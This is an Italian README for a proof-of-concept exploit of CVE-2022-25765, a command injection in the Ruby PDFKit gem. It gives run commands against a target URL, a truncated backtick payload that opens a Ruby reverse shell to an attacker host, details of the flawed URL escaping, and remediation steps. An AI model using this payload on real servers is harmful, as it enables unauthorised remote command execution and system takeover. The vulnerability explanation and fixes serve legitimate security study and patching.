Exploit CVE-2022-25765
Un piccolo exploit POC per CVE-2022-25765, PDFkit-CMD-Injection
Utilizzo
-
Avvia un listener netcat sulla tua macchina attaccante:
-
Esegui l'exploit:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
Esempio:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
Parametri:
-t, --target: URL di destinazione che esegue PDFKit vulnerabile
-l, --lhost: Il tuo indirizzo IP per la connessione reverse shell
-p, --lport: La tua porta per la connessione reverse shell (deve corrispondere al tuo listener netcat)
ID CVE: CVE-2022-25765
Punteggio CVSS v3.1: 9.8 (Critico)
Punteggio EPSS: 71.381% (99° percentile)
CWE: CWE-77 - Neutralizzazione impropria di elementi speciali usati in un comando
Versioni interessate
- Vulnerabile: PDFKit 0.0.0 - 0.8.6
- Corretta: PDFKit 0.8.7.2+
Descrizione
PDFKit è una gemma Ruby che converte HTML in PDF utilizzando lo strumento a riga di comando wkhtmltopdf. La vulnerabilità risiede nel modo in cui PDFKit gestisce i parametri URL prima di passarli ai comandi di shell di sistema per la generazione di PDF.
Dettagli tecnici
La vulnerabilità risiede in lib/pdfkit/source.rb dove la sanificazione degli URL è implementata in modo improprio:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
Il problema:
- PDFKit utilizza una logica imperfetta per determinare se un URL necessita di escaping
- I metacaratteri di shell (backtick, punto e virgola, pipe, ecc.) possono aggirare questo controllo
- Gli URL non sanificati vengono passati direttamente ai comandi di shell che invocano wkhtmltopdf
- Gli attaccanti possono iniettare comandi arbitrari che vengono eseguiti sul server
Vettore di attacco:
- Complessità: Bassa
- Privilegi richiesti: Nessuno
- Interazione dell'utente: Nessuna
- Accesso alla rete: Richiesto
Come funziona questo exploit
Questo PoC sfrutta la vulnerabilità:
- Iniettando un URL malevolo contenente una sostituzione di comando con backtick
- Il payload:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'
- PDFKit non riesce a sanificare i backtick nel parametro URL
- Quando wkhtmltopdf elabora l'URL, la shell esegue la reverse shell Ruby
- Il sistema target si riconnette al listener dell'attaccante
Impatto
- Riservatezza: Alta - Accesso completo al sistema
- Integrità: Alta - Capacità di modificare qualsiasi file
- Disponibilità: Alta - Potenziale interruzione del sistema
Prerequisiti per uno sfruttamento riuscito
Sul sistema target:
- Versione di PDFKit vulnerabile (< 0.8.7.2)
- Ruby installato (richiesto per il payload della reverse shell)
- L'applicazione accetta URL controllati dall'utente passati a PDFKit
- Nessun filtro di uscita che blocchi le connessioni in uscita
Rimedio
- Aggiornare PDFKit alla versione 0.8.7.2 o successiva
- Validazione degli input: Implementare una stretta allowlist per gli input URL
- Sandboxing: Eseguire i processi PDFKit in container isolati con privilegi minimi
- Segmentazione della rete: Limitare le connessioni in uscita dai servizi di generazione PDF
- Regole WAF: Distribuire regole per rilevare metacaratteri di shell nei parametri URL
Riferimenti